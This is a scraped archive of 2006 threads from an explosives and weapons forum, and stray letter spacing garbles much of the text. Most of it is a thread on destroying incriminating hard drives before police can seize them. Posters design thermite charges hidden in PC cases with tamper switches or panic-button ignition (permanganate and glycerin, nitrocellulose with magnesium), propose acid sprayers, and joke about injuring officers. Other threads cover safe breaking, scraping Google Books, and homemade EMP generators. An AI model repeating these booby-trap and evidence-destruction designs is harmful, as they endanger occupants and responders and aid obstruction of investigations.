"Teacher say so!" (quotes from Hideki) :rolleyes:
You guys should get along fine without m odera tion, just not here.
Jacks Complete D e c e m ber 29th, 2005, 12:25 PM

I can't say I've ever tried lighting petrol from burning sodium m etal lit by water, but I can't see why it wouldn't work? As long as
it was already burning before it hit the petrol, ignition is fairly certain. Sodium Hydroxide, however, isn't going to be happening!
Anyway, good to know that it is NBK, and that h e is alive and well and stuff.
FUTI D e c e m ber 30th, 2005, 05:22 PM

I g a i n e d a n i m p r e s i o n t h a t t h a i d e a w a s m aking the explosion with strange chemicals in m ix that won't work...but then again I
m a y b e m isunderstood and certainly didn't pay attention to napa lm like mixtures. Yes there were som e n a v y b a s e d m i x t u r e
sim ilar to that m entioned, but no NaOH, but Na and even that was to weak for navy so they added potasium s a l t o f p h o s p h i n e
that due to its contam ination with P2H4 generated in contact with water ignites the mixture I think. Learning is heavy,
occa sionally teacher will use a palm of his hand to reset your line of thinking and reboot it to proper state...we call it
m oderation):-)

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > EMP Hard Drive Cleaner
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View Full Version : EMP Hard Drive Cleaner
Alexires January 1st, 2006, 09:50 AM

Hello,
I have posted this in the Water Cooler as I'm not exactly too sure where it belongs. I have run a search for EMP and found
nothing, but I have a funny feeling that the search funtion isnt functioning too well. No matter. Forgive me if this has been
discussed before.
Someone who isn't me was talking to me about how their hard drive would most definately be incriminating, and it occured to
me that maybe a remotely activated EMP device would be useful. Not too big, with only enough range to cover the size of a PC
box, activated by someone dialing the phone (attached), then typing a code in on the key pad (as against it activating when
rung).
I'm not overly experienced in electronics (who's lying, I have no idea really whatsoever), but surely this couldnt be too hard?
Probably the hardest part would be linking the phone to set the charge off. The capacitors could be charged by a battery, which
is in turn charged by the computer when the power is on (at the powerpoint, not the actually computer turned on).
It was just an idea running through my head. Any input would be appreciated.
Alexires.
Jacks Complete January 2nd, 2006, 12:33 PM

It's a good idea, but a little off. Basically, an EMP pulse isn't going to destroy what is on your harddisk unless it is both very
powerful and very close. After all, the discs are designed to be very resistant to accidental damage from magnets, and they
use a very powerful magnet to read and write.
You would do better using the EMP to reboot the machine and scramble the RAM, and then explosively or otherwise shatter the
harddisk platters. The EMP would probably not be needed though, as you could just cut the power!
Not a terrible idea for a first post, though.
Alexires January 6th, 2006, 07:17 AM

I agree that it would be easier to use a small charge to destroy the hard drive(s), but I shudder at the idea of having
primaries near my hard drives, as they are on all day and hot primaries make me scared.
I forgot about the RAM, so thank you for reminding me. Maybe I was being a little too high tech, would it be possible to wrap a
wire around the hard drive (electro-magnet style) and then just use a capacitor discharge to create a strong magnetic field for
a second?
Ahh well, just shooting ideas into the air.
Thanks for the input!
Marvin January 14th, 2006, 11:56 AM

An accident though would lose a lot of data.
Better to encrypt, a system that loaded an encryption key from a USB dongle would be safer. The chip in the dongle could be
wired in such a way as easily broken say by a strong spring and the contents backed up or set to a hash of a memorable
phrase for recreation in case of an accident.
Destroying a HD with explosives or magnetic pulses may be spectacular, but its an accident waiting to happen and isn't
required for security. Its also prosicutable in its own right, and isnt that part of the point?

This is true, being prosecuted for that would be a dumb trap to fall in to. Of course, in the UK you can get 5 years for telling
someone the police demanded your encryption keys...
I think a better solution might be to use a RAM disk with a UPS, such that the key is lost if the power is turned off. Turning the
power off is the standard operating procedure for the UK police. This can be used against them, of course. The destruction has
to be complete, and obvious, though, otherwise you risk 5 years for failing to hand over your keys on demand.
Police state, anyone?

Hmmm, I'm not too knowlegable on matters of technomagic (read encryption). I'm a little dubious about encryption, because
it can be cracked. Scrambled/melted hard drives cannot be. Also, I'm sure that operating systems keep a back up of stuff
around, and anything that has been "deleted" may not be truly deleted. With something that results in the total destruction of
the hard drive (magnetically or from explosives) wouldnt be fixable.
Please don't mistake me for someone that wants their computer to dissolve in a gout of firey glory. God knows, it would
probably end up killing one of the government people there and I'd get done for that.
Chris The Great January 18th, 2006, 08:08 PM

Yes, encryption can be cracked, but it would take a supercomputer a decade or so to crack a single PGP key. Even the US
military can't devote that kind of sustained computing power just for you.
There are programs to overright deleted files with gibberish, although the military can still read them up to about 300 rewrites
or so (though, you'd have to have done alot to get that special treatement). Generally, the cops can find something you have
deleted and rewritten over once or twice.
A rocket engine might make a much more controllable HDD destruction than thermite, and has less chance to spill molten
metal all over cops to get you life in prison. Maybe have a two second warning were it screeches and shoots out smoke so they
drop it before it rocket fires and incenerates the HDD.

That rocket idea is a good one. *mutter* I feel a little stupid now. Ahh well, its bound to happen.
On matters of encryption, it just doesn't ring true. It just doesn't seem to me that it is a smart idea for governments to have
encryption that they can't break easily. Maybe I'm wrong, but I'm pretty sure that the government would have a way to break
the encryption of anything commercial nowadays without spending a decade trying to decypher it.
Please, be sure to tell me if my logic fails here, but would you want your enemies to be able to make it so you cant read their
files?
Ahh well, just something to ponder about.
Chris The Great January 19th, 2006, 12:11 PM

Not giving your encryption key to the police carries a minimum 5 year sentence in Britain.
Newer, non-open source encryption software may also have a "backdoor" route built in which is why it is recommended to not
use the newer, non-open source PGP programs.
Dave the Rave January 19th, 2006, 10:52 PM

I don't know, but in Brazil we don't have any such laws. Here the computer related crimes are an new legal issue and there are
not laws concerning crytography... For some time I've dreaming about EMP and HDs, and on my wet dreams, an 1500w
magnetron could fry prety good an 80 GB seagate !
Did you remember those old 486 ? They came all equiped with an "security" Key, that physicaly shuts the power on the PC, so
it could not be powered on. So, using one of those old desktops, with new motherboards and such will keep you an key that
can be used to cut the power to the magnetron prior to activing the PC.
If the power isn't cut by the key, when the juice flows through the system, the magnetron fries the HD. To prevent someone to
open the machine to overrun the key, we can hook up one small contact point and even an tilting system to one of the screws,
and when someone turns it, the contact is made and de magnetron is juiced up.

The problem there lies in the fact that I'm pretty sure that the feds would remove your hard drive, and a magnetron sitting on
top is going to be pretty frigging obvious. The key idea is a good one, maybe something electronic built into the hard drive
itself so there is nothing visible, and powering up the hard drive without disabling causes bad stuff to happen.
*wink* This is almost reminiscent of the kewl idea of the match head powder in the floppy disks causing it to melt. I've never
tried it, but it sounds pretty far fetched. Ofcourse, this isnt just some bullshit, I'm pretty sure thermite would screw up your
hard drive ;)

That match trick would work well, I recall it from school. I may even have one somewhere!
Alas, with a HDD it wouldn't work, since the disc spins all the time, and unless you could be sure that the disc head would never
go to the flammable bit - which you couldn't, as modern HDD have all sorts of on-board diagnostics such as SMART, and they
re-map dodgy data sectors on the fly to unsed parts of the disc.
I'd go with a few gigs of flashRAM and a destruction device for that. It's quite cheap now. Keep everything dodgy on that,
encrypted. There are loads of them that have self-destruct systems built in, too, so if the password is wrong three times they
self-wipe. Add to that a mechanical device to crush it flat, and you are away. Heck, just a bench vise would do the job in under
three seconds, or you could swallow it! (But don't go with CompactFlash or SmartMedia for that!)
ImagineReality January 30th, 2006, 12:15 AM

This is my first post on Explosives and Weapons so i hope it's ok.
Ok a quick review of all options.
EMP and Deaguassing
EMP i am afraid won't do enough damage to a drive unless you use an extremely powerful pulse. Yes a powerful homemade
magnet will damage it but some stuff will remain, either in part or whole files.
Degaussing completely removes every bit of magnetism from a drive. This basically destroys it with little chance or recovery.
Companies pay literally thousands of dollars for degaussers and sadly a homemade one just won't do it i don't think.
Overwriting with a secure erase program
Overwriting is a sound option. Using a secure algorithm like Gutmann or Schneier, the file is pretty much destroyed. Schneier
uses 7 passes, gutmann does 35 and can take a while. Since we are obviously talking about doing everything quickly this may
not be the best option unless you can prevent entry to your property or room until it's done. But some files or parts of files
may still be able to be recovered using varies techniques including a magnetic force microscope.
Thermite
Hey this is the explosives and weapons forum right? My preference would be this if you only have say 20 seconds. You could
happily leave a flat packet of this in your computer above the hard drive, don't let it touch the drive as the thermite will absorb
alot of heat and may cause the hard drive to overheat and be damaged. All you would need is a nice piece of magnesium
ribbon sticking out the front of your computer and your done. Light it and laugh as whoever comes through the door smells
burning drive. The great thing about this is that it is quick, unstoppable, can handle multiple drives and will completely destroy
every platter in the drive (platters hold the magnetic data).
For maximum security if you have time you could use the overwrite option and then light the thermite, but i doubt you would
need to.
I hope this was ok for my first post. Bye all.
ImagineReality February 1st, 2006, 11:22 AM

I don't know how to edit posts so i apologise for double posting.
I recently found an old 40GB hard drive so I thought I would do a test on the thermite idea. I have run out of Aluminium
powder and anything to set it off with, but it is on order, so it should only be a week before I can do the experiment. If
someone could message me on how to present this to the forum I would be grateful as I am new here. I can take pictures of
said experiment to show the results. Thanks.
Jacks Complete February 4th, 2006, 04:59 PM

Overwriting a terabyte of data is going to get you nowhere fast. 15MB/s transfer & write speed is fast for an external drive, so
to overwrite 7 times, you get 2.1Mb/s tops. A 60Gb drive will take around 460 hours to complete the pass.
Get the police to send you a postcard next time!
Or use a flash RAM card...
Or stick to the topic here. ;-)
ImagineReality February 4th, 2006, 05:25 PM

Jack it depends on what you are destroying. I keep all my files on explosives and the like in a single folder. I have done a
practice erase and it took about 3 minutes. I think I can keep someone out my room for that long.
The subject here was EMP but it simply won't work completely enough, and even producing the required pulse will be near
impossible. I will run the thermite test when I get the required supplies. Again if someone could mail me on the precedures of
sharing this experiment of mine then I would be grateful.
nbk2000 February 5th, 2006, 02:15 AM

I've seen a magnetic-flux field-collapse compressor that can shrink a quarter down to the size of a dime using electric
discharge through coils. In Popular Science, I believe.
Something like that is do-able (for $$$), and would not only wipe the drive through magnetic flux, but also physically destroy
the disk in the process of compressing it. :)
grendel23 February 5th, 2006, 07:12 AM

I have a Radio Shack tape demagnetizer, #44-233A, that will wipe a hard drive in about 2 seconds. There are several on E-
Bay, such as here (http://cgi.ebay.com/Radio-Shack-High-Power-Video-Audio-Tape-
Eraser_W0QQitemZ5860767768QQcategoryZ294QQrdZ1QQcm dZViewItem).
This unit draws 1000W, so keep it away from your credit cards.
I wiped a hard drive and after I was done even the low level factory formatting was gone, since only the factory can do a true
low level format, disk was junk.
A paranoid person could attach one of these to the top of their hard drive, hooked up to a big red panic switch.
An even more paranoid person could even put a small ups into the case along with a demagnetizer hooked up to a tamper
switch, if someone opens the case, they are greeted by a humming sound and a blank drive.
ImagineReality February 5th, 2006, 07:38 AM

Read the part in the The Rules FAQ (the link in my signature at the end of every post I make) where it explains how quoting
entire posts is NOT an approved activity.
Ok well that sounds promising. Should I bother doing the thermite test now? Sounds like it's been covered with the magnetism
idea, I didn't think it was that easy to get something that could wipe it completely.

Those last two are brilliant ideas. I've seen the flux compressor work on aluminium cans, and it is dramatic, but I hadn't
though of it here. The tape demagnetiser is like the thing off Fight Club, I assume, when they do the raid on the video store.
I assume it would work PDQ!
Both need a mains connection, though. That's the only downside I can see.
nbk2000 February 5th, 2006, 07:39 PM
Yes, do the thermite test anyways, as it's always good to have alternate means of destruction in case 'They' cut the power, eh?
;)
bipolar February 5th, 2006, 10:32 PM

I was thinking about doing a test on an old hard drive with thermite. I was thinking the best way might be a plastic of paris
casted thermite brick the size of the hard drive would do the trick. (edit: I see the brick part has already been discussed)
I was also thinking that someone could use durhams water putty, clay, or something of the sort to make a heat resistant
holder for it, so it doesn't burn right through your Hard Drive and desk(or anything) and catch everything else on fire.
It would contain more of the molton iron and maximize the damage to the hard drive

I know I wouldn t use therm ite, if it wasn t properly controlled it co uld bu rnt right throug h thus burning down your h ouse Or it
could start a fire inside the PC tower.
I would rather use some type of acid, dose anybody know what the plates on the hard drives are made of?
Chris The Great February 6th, 2006, 04:07 AM

I once had an old open hard drive, and some 32% HCl stripped the coating off the plates very quickly. If the drive was
spinning, and was suddenly filled completely with acid, I think the coating would come off nearly istantly.
The problem is getting the hard drive set up to have acid injected into it at the press of a button, without damaging the hard
drive while you set it up for this.
Alexires February 6th, 2006, 09:04 AM

*laugh* I know I started this thread, and I know it says EMP but maybe I was being a little too high tech. Thermite really is a
good idea. Its hot, bright, probably going to fry anything it hits and doesn't need mains power to set off.
I'm sure that if someone was going to do this, they would have some kind of insulation to stop from burning down their
house. Asbestos matting used as heat mats in labwork may be feasable, but without further testing, its a little hard to say.
Thinking about it, I would set it up so that if the case was pulled apart, it causes a chemical ignition to start, thus igniting the
thermite. If "they" cut the power, it wont matter. Something subtle to use as the kill switch, maybe rig the floppy drive button
as the ignition. Have it so it looks like there is a floppy in there, with the button sticking out, but hitting it breaks a vial of acid
which in turn ignites some form of ignition which ignites the thermite. Maybe you could rig it so there is alot of acid, so if the
worst happens and the thermite doesnt light, there is a chance the acid would do its work on the hard drive. *shrug* just an
idea, let me know what you think.

Ok well I should have the items I need for the thermite test in the next couple of days. I still really need someone to tell me
how to present this to the forum. I can take pictures and write the article but how do I post it? Do I use a PDF file or post it
directly on the forum? If I use pdf I can upload it to the ftp but then not everyone has access to it.
As for protecting your house, well if they are breaking down the door then it shouldn't be hard to get the fire brigade round
quickly. I am using a LIAN-LI case which is pure aluminium so it should offer some protection, but as suggested some kind of
protective housing would be good. Maybe just a simple drip tray under the case would be enough as this is where most of the
liquid iron would be going. Clay and plaster of paris have been suggested and these seem good enough to me.
I was reading up on the Radioshack magnets and I have a small problem with that. Fixing one of these inside a case won't be
easy as few cases are big enough, and using a UPS inside the case as well will be virtually impossible. I have an old server
case somewhere and it would have trouble holding all that.
The acid is a great idea but then you have to punch a hole in your hard drive to make sure it enters and that is risky at best.
Hard drives don't respond well to being messed with in that way.
As for detonation of the thermite using a panic button, well I was thinking of using a switch, motor, 9volt battery, match heads
and a piece of magnesium ribbon. This would be reliable and safe. Or you could use the glyercine and potassium
permanganate fuse, this in my mind would consist of the potassium permanganate sitting on top of the thermite and then a
button would pierce a bag of glycerin which would drop onto it. I am sure someone can come up with something better but that
was just a quick thought.

Since someone is bound to ask, a good and effective way to trigger Thermite is to use nitro powder with Magnesium ribbon in
it, as a thin layer over the Thermite. The nitro won't burn/light the Thermite, but it will light the magnesium ribbon, which in
turn burns down a little and triggers the Thermite.
Be careful though, since if this triggers in the crime lab, or whereever, they might think it was a duff bomb, and charge you
accordingly. Make sure it either goes off before/as they remove it, when you press the button, or not at all. "Maime a
policeman" may be funny, but not when it is directly linked to you, and you are already in custody! Obviously, if your house is
on fire as they try to arrest you, you can try to escape in the confusion, and you can also hope the fire brigade tramp in and
destroy and contaminate pretty much everything for you! (They normally will, unless they let the fire burn, in which case, sue
the police for setting your house on fire with an incediary device... And claim off your insurance.)

The police may check for explosive devises inside computers before opening them up. They would see some odd thing
heading towards the hard drive and think it could be a bomb.
Is there any chance they might not remove the hard drive but instead run it from your computer?
Another idea would be to write a program for when windows or another processor starts up it requires a password, if this
password isn t entered within 20 se co nds it sets off mechanics built inside your hard drive to light the thermite. Although this
would only work if the hard drive there trying to run was set as the system drive.

I have absolutely no idea about what techniques are used to check the pc for some kind of device, but it its x-ray, lead
shealding. As to accessing it remotely, just keep the harddrive in a shitty old box with no lan/modem (although cops trying to
download someone's hard drive with dial up speeds give me a good laugh).
Maybe instead of trying to wire the computer to set the charge of, just have a seperate chip on some seperate board installed,
so that a 10 digit code needs to be entered before it will even turn the computer on. If its entered wrong once, then it fries
your HD. If they try and open up your box, the mechanical switch kicks in and kills your HD. I doubt they would try and cut it
open, but maybe have this all enclosed in a smaller box around your HD, so they cant cut it open without risking the HD.
The nitro covered thermite/Mg idea is a good one. In my experience, I've had Mg go out after about 10cm of burning, but
covering the block of thermite and a strip of Mg in nitrocellulose (im assuming thats what nitro is) would be pretty sure to get it
burning.
Some of you might say the code wrong=dead HD is a little harsh, but lets face it, for something that important, I'm not going
to forget the password, are you?

I herd somewhere that nitrocellulose decomposes over time and can go off with out warning. (Bullets are different though they
use stabilizers in there smokeless powder.) If this is correct I wouldnt think of using it in my HD.
One must also use substances which cannot be set off by sparks caused by static electricity. Would this mean the powdered
aluminum in thermite could be set off by a static spark?
EDIT: This has been a sucessful thread, I think it should be concidered moving to "Tools, Techniques and Plans."
ImagineReality February 7th, 2006, 09:38 AM

OK i'm getting really annoyed. I typed out a massive long post yesterday on this thread but it still hasn't shown up! My posts
take a while to appear and often don't come up at all. What am i doing wrong here? I don't have this problem on any other
forums. Help someone please.
+++++++
How about looking back at the previous page, where your post IS, before complaining about it NOT being there? :rolleyes:

The last post of mine that I can see on the previous page is:
[QOUTE]Ok well that sounds promising. Should I bother doing the thermite test now? Sounds like it's been covered with the
magnetism idea, I didn't think it was that easy to get something that could wipe it completely.[/QUOTE]
I have posted one since then, unless my computer isn't displaying it and yours is, which I suppose is possible.
Anyway I should be doing the thermite test on the weekend, I'm beginning to wonder if it will be enough to damage all three
platters of the drive though.
croc February 8th, 2006, 10:26 PM

until you see the post o he forum u should back it up. i keep my posts in word until i see they have gone through.

Croc, you need to improve your grammer skills ASAP or you're out of here.
This is NOT a chatroom or IM session, it's a bulletin board, where the workds you write will still be read(able) years later.
So if you can't be bothered to keep the beginning of your sentences capitalized, along with the letter 'I' when referring to
yourself, perhaps you'd be better offf over at weirdpier or TOTSE.
xyz February 13th, 2006, 03:58 AM

I second that, spelling and grammar are important.
Sorry NBK, I just had to... :)

Sorry about my spelling and grammar in my last po st, it wont hap p e n a g a in.
I could have sworn that I put it through spe ll check and fix ed all on my is to capital.
Because the edit bu tton has disappeared on th at pos t I would like to correct o h e to on th e .
fr0sengh0st February 13th, 2006, 06:33 AM

If going using an explosive or thermite to destroy the hard drive then you could keep it in a safe. The SATA interface permits
long enough cables for this to be feasible (through a small hole drilled in the side), and would stop there being any risk of a
fire or injury to the people searching the house. The device could then be set off if the safe was tampered with or forced entry
was attempted.
Bette r still would be a flash hard drive like http://www.bitmicro.com/products _edisk_35_ide.php - there s n o prices so I guess
77.8 GB of flash memory isn t going to b e cheap :) . Th is dive comes with built in hardware to
From: http://www.bitmicro.com/kb_public/faqs/fq040517-02.php
PowerGuard ha s three erase modes - Power-Down Erase, Instant Erase an d Standby modes.
Power Down Erase mode allows the E-Disk flash drive to erase automatically and irretrievably all d ata stored if external
power falls below the threshold voltage.
With Instant Erase mod e activated, all normal op erations of E-Disk flash drive will cease and all data will be immediately and
irretrievably erased.
Stan dby m ode gives the us er the option to erase all data s tored in an E-Disk flash d rive co nfigured with a PowerGuard unit
for a period of time after the external power source has been removed. This allows the E-Disk flash drive to be transported for
an extended amount of time without external power, while maintaining the ability to erase all data saved in non-volatile
memory.
Whenever you see news reports about police removing computer equipment they always seem to just carry out the case and
put it in a car etc. With a UPS b ackup (for power cuts ) and the S t a n d b y m o d e when they unplugged it, 5 mins later and it s a ll
wiped.
I would also always use encryption if I ha d som ething to hid e 5 ye ars maximum sentence for withholding an encryption k ey
is going to be far better than the sentence you might get for the information on your hard drive.

You know, I heard this story one day that someone made a big sign saying "CITY CLOSED" and put it next to a highway
leading into New York. Traffic halted, because people believe what they read. I'm not trying to refute your post fr0sengh0st
(hah, a poet), but just because they SAY it can be wiped and all data made irretrievable doesn't actually mean it CAN be done.
Maybe I'm paranoid.
The safe idea really is a good one though, I didn't think of it at all (obviously). That would mean lots of thermite, less chance
of fires, and more chance of watching the feds sweating and grunting trying to pull a safe from a room *grins evilly*.
Another possibility is having an acid sprayer in there. Spraying some trifluoromethanesulfonate around (one of the strongest
acids known) would be bound to ruin a HD, and a good suprise once it eats through the safe, through the car and starts on the
road *chuckles*
fr0sengh0st February 13th, 2006, 09:15 AM

Ok, fair point I did quote the manufactures information which is usually/always biased to make their produce sell.
The fact was that the hard drives were solid state NAND memory, not that they happened to come with special features for
removing the data after a time delay.
Using NAND chips means that there is no memory effect like in the magnetic data on a hard drive platter which previous
information can be gathered from once it has been overwritten once. Also unlike a hard drive platter the chips cannot be
removed and put under a microscope without destroying any information they may hold.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Ripping Google Books
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My admiration for Google has increased significantly with their latest scheme of digitizing recently published books and making them available online. It is unfortunate the
actual number of pages you can view at any one time are limited. I know it is a good idea because all the publishers hate it. It fact the publishers are screaming bloody
murder, but Google is fast on its way to becoming one of the worlds financial superpowers, so they have the resources to fight.
It is quite comforting to me to see the publishers squirming in their seats over this. It serves those greedy bastards right for charging so much for books and giving authors so
little in return. Book publishers, like the music executives of the RIAA, contribute nothing, create nothing, but they get almost all of the money.
But I digress I know s om eone would try to rip google of its book pages, I just figured they w ould eagerly publis h the results and there w ould be a script by now. Apparently some
doo gooder has done just this, but he is keeping his technique a secret thus far.
I wonder if any Forum members have any ideas about systematically raping the google books site? If anyone can view any page, then every page must be viewable
somehow. Somew here out there is a hacker or group trying to crack this. If anyone could provide some links, leads, or insight I would greatly appreciate it.
FUTI January 16th, 2006, 01:03 PM

Mega I wondered also about this and posted it already...
http://www.roguesci.org/theforum/showthread.php?t=4985
my friend tried "stupid" brute force approach and search for word polymer inside a book that has a plastic materials as main subject...the hits generated produced about 80%
of book pages!!! So I guess that approach I proposed earlier can work.
Kamisama January 29th, 2006, 07:09 PM

I'm looking at the weblinks that are given.
Usually within the weblinks there is a pattern and using that pattern you can create a navigation bar.
There is usually something within the weblink that gives away how the search+ navigation+ book works.
Often this will need to be edited, reformed, and manipulated to get to the next page.
I did this with the pubmed books for biology
I made a two frame page.

Blank top frame.
Bottom frame w ith navigation jump menu which changed the top frame's page.
I often used search methods such topics for pubmed.
Until this tipped me off: http://biology-online.org/biology-forum/about2438.html
However, most of creating navigation for pubmed books relied on w eblink manipulation.
Simply said, it's all in the weblinks.

Similar to how hotmail was cracked back in the day.
___
edit
___
http://books.google.com/books?
q=united+states&id=Uazpff00Y5EC&vid=ISBN0765607301&dq=mercantilism&prev=http%3A%2F%2Fbooks.google.com%2Fbooks%3Fq%3Dm ercantilism&ie=UTF-8
I see within the weblinks....
http://books.google.com/books?ie=UTF-8&hl=en&vid=ISBN0765607301&id=Uazpff00Y5EC&pg=PA60&lpg=PA60&dq=mercantilism&vq=united+states&prev=http://
books.google.com/books%3Fq%3Dmercantilism&sig=rXKn-HQx4L85y5ItRgLnpEX8cQ8
ISBN = 0765607301
PAGE60 = PA60 [pg=PA60&lpg= PA60]

(i noticed that this is often a tag for telling the google program from how far you can travel within pages.. think graphing line distance -3 0 3)
vq= united+states [the topic (helpful in grabbing tons of pages at once)]
(UTF-8) the text encoding, i believe
hl=en (the language)
prev=http://books.google.com/books%3Fq%3Dmercantilism&sig=rXKn-HQx4L85y5ItRgLnpEX8cQ8 (may be of importance???)
Think of the search results page as the main directory

and then results as subdirectories.
____________
the search engine seems to be based slightly off google's original style omitting obvious words like (the, and, if, but) etc. google's search engine isn't stupid, it's not going to
fall victim. I used something simple, (united states)
i suppose certain words in this book such as (gold, colonies, adam smith, england, spain, europe, century) certain things would collect more pages. perhaps it would take about
3 hours to collect all the material, open dreamweaver, and compile it all.
I just tried right-clicking and bookmarking in mozilla. it allows it to keep the original name of the page (page 41). thus, when i had this i noticed that it would probably save
the yellow marking highlight also. therefore, the vq=united... i just erased the part united+States and left it at "vq=" thus taking away the yellow highlight.
_____________________
if you had more w eb development skills, i assume you could make a bottom frame with navigation option to search through a database of code and then select that page.
search= weirdcodew ithnumbers+page#
the weird code probably has something to do with this: pg=PA60&lpg=PA60
I'm oldskewl so i'm only limited to html and swf :roffle: The only thing I'm good at these days is bypassing stuff.
"Oh, so they have internet on computers now!"

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Problem s s e e i n g p osts
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Lovesickrebel713 January 20th , 2 0 0 6 , 1 1 : 1 8 P M

I m ade this account because it is my e-m ail. I decided I didn't want to have this handle and tried re-registering with the nam e
Luker. But fo r some reason when I log into Luk er it says there are no posts in this section no matter what area I look or how
far back I say to look for the posts. Once I log out of Luker and am viewing as a guest or under this handle the posts are all
shown. Any help is appreciated.
megalomania January 24th , 2 0 0 6 , 0 1 : 2 5 P M

Did you get your verification em ail? You can't see anything if you don't click the authorization link in the em ail. If you didn't
provide a legit em a i l a d d r e s s t h e n t o u g h c o o k i e s .

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > I used to think alcohol was
difficult to buy...
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Third_Rail January 23rd , 2006, 01:28 AM

Then I happened upon www.in ternetwines.com . I was looking for a particular kind, W eis Black Forest Devil. Normally, you need
t o b e 2 1 + , a n d h a v e a n I D c h e c k e d - I ' m over 21, no problem there.
The ID check? A sim ple question - "how old were you on your last birthday?"
If only all of America operated thus.
Cyclonite January 24th , 2 0 0 6 , 1 0 : 4 8 P M

W ines and such require 21+ ID upon reciept as well
Third_Rail January 25th , 2006, 10:56 AM

T h a t ' s a s h a m e - I would think it wouldn't m atter too much to the delivery service.
EDIT: It doesn't. They just need a signature from some one "over 21" - no ID is checked.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > I had a dream...
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Luker January 23rd , 2006, 02:17 AM

About 4 or 5 years ago I found the forum on an archives site. And was reading old posts for hours a night. Does anyone
r e m e m ber the little saying that "I had a dream " i did th is or i did that. I am still dreaming about d oing a lot of those things,
b u t s e a m to be m ore of a thinker/dreamer than a doer. I love chem istry and hop e t h e f o r u m p i c k s b a c k u p . I a m a lways
wanting to learn and will try to share as much a s I can find.
megalomania January 23rd , 2006, 09:41 AM

Yes... Since no one here would make or use an explosive, weapon, drug, etc. without the proper licenses and perm its we can
only do such things in our dream s...
Every mem ber at R ogue Scien ce and T he Explo s i v e s a n d W e a p o ns Forum is in full com pliance with all federal, state, local, and
international laws regarding explosives and weapons m anufacture and use. All ex perimentation is purly the oritical and should
be phrased as such.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > m osler safe info
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pumpkinman January 24th , 2 0 0 6 , 0 3 : 0 4 P M

hello all im new to this forum a n d a m s e e k i n g i n f o o n m osler sa fes..i have aquired a m osler safe which is about 4 to 5 feet tall
and is on cast iron wheels..i have a serial num b e r a n d n a m e i s a l l . . t h e s a f e i s g r e e n . i m l o o k i n g t o t r y a n d o p e n t h e s a f e b y
luck?? i need to know which way the dial turns and how m any tim es.. left or right.. are theses safes hard to enter..can they be
drilled..can a combination be gotten from the com pany..or som e o n e . . l o l c a n t h e s e s a f e s b e m a n i p u l a t e d . . a n d i s i t h a r d t o
do..any info would be appreciated..thank you ...great forum for us newbies...steve:confused:
nbk2000 January 30th , 2 0 0 6 , 0 6 : 1 4 P M

How about som e p i c t u r e s ? T h e n m a y b e s o m e o n e m i g h t h a v e a b e t t e r i d e a o f w h a t t h e f u c k y o u ' r e t a l k i n g a b o u t ?
And, yes, anything made by Mosler is going to be difficult to enter. And, no, they're not going to give you a com bination, since
that's set by the owner, not th e factory.
If th e safe is a double-door, instead of a single door, then that's a fire safe, thus easier to break into, but 'easier' is a relative
thing. You'll still expend a LOT of effort with po wer tools if you don't have an oxy-actylene torch handy.
If it's a single door, then depending on the rating, you could be at it all day with a torch and power tools, just to ma k e a h o l e .
It's not just a matter of having the too ls, but also the skill of how to use them , as well as knowledge of how to use them
a g a i n s t a s a f e , b e c a u s e y o u c a n q u i t e e a s i l y f u ck off the contents or m ake it even more difficult to get in if you don't know
precisely what you are doing.
Lot's of details go into a skillful penetration.
One detail is the capitalization of the letter 'I' when referring to yourself. Since you can't even man age basic literacy skills, safe
breaking is FAR beyond your capabilities.
If you are literate, bu t too lazy to use the skills that the schools funded by my (very few) tax-dolla rs taught you, then you are
FAR too lazy for safe breaking as well.
Now, if you're not lazy AND literate eno ugh to use prope r gram m er, then perhaps you would be worth responding to with the
information you desire. But that also d e p e n d s o n y o u r g i v i n g u s e n o u g h i n f o r m ation to de termine just what it is that you have.
Are there any UL labels on it giving it a rating, like TL-15 or TRTL-30?

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > US plans to "fight" (censor) the net revealed:
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Davo January 27th, 2006, 11:02 PM

"From influencing public opinion through new media to designing "computer network attack" weapons, the US military is learning to fight an electronic war. "
http://news.bbc.co.uk/2/hi/americas/4655196.stm
"When it describes plans for electronic warfare, or EW, the document takes on an extraordinary tone.
It seems to see the internet as being equivalent to an enemy weapons system.
"Strategy should be based on the premise that the Department [of Defense] will 'fight the net' as it would an enemy weapons system," it reads.
The slogan "fight the net" appears several times throughout the roadmap.
The authors warn that US networks are very vulnerable to attack by hackers, enemies seeking to disable them, or spies looking for intelligence.
"Networks are growing faster than we can defend them... Attack sophistication is increasing... Number of events is increasing." "
............Sounds scary, the crackdown time is closer than we think
Chris The Great January 29th, 2006, 01:11 AM

"And, in a grand finale, the document recommends that the United States should seek the ability to "provide maximum control of the entire electromagnetic spectrum".
US forces should be able to "disrupt or destroy the full spectrum of globally emerging communications systems, sensors, and weapons systems dependent on the
electromagnetic spectrum".
Consider that for a moment.
The US military seeks the capability to knock out every telephone, every networked computer, every radar system on the planet. "
:eek:
bipolar January 29th, 2006, 03:37 AM

I think a lot of this is actually propaganda itself. The article even admits propaganda intended for a foreign audience is heavily consumed by Americans too. They just say they
cant help it.
This is to make us(citizens), or enemies of the US scared or think that the US government is unbeatable, and put fear into them, etc It was probably released on purpose to
have a certain effect.
FUTI January 30th, 2006, 02:56 PM

only way of jamming full electromagnetic spectrum known to me would be a series of subkilotone nuclear explosions during a conflict...not very usable although
effective...anyone has better picture?
ImagineReality January 31st, 2006, 02:18 AM

FUTI what about EPFCG (Explosively Pumped Flux Compression Generators)? These generators are I believe very feasible pieces of technology and could be used as an EMP
weapon without the fuss of nuclear destruction. I found a quick link on wikipedia for a brief description of one.
http://en.wikipedia.org/wiki/Explosively_pumped_flux_compression_generator
FUTI April 24th, 2006, 10:55 AM

EPFCG are old story...several country already have them. USA have air-strike bomb version, Russians marketed even an artillery granade version(?), UK worked furiously on it
couple years ago...and I guess others are close behind. They are good for small targeted area. The article was bulls*it propaganda..."knocking down every grid on planet"
(That is why I mention nukes)...well if they wanted to disconect the W3 they would easily do that since most nodes of that grid are in the USA. Good link anyway since other
uses escaped my eye so far.:)
atlas#11 July 4th, 2006, 12:55 AM

EPFCG is old news. But it would make a fun experiment... Has anyone tried this on here? The design seems simple enough. A capacitor bank wouldn't be hard to build,
depending on the voltage needed. I've got copper pipe, wire and an antena.
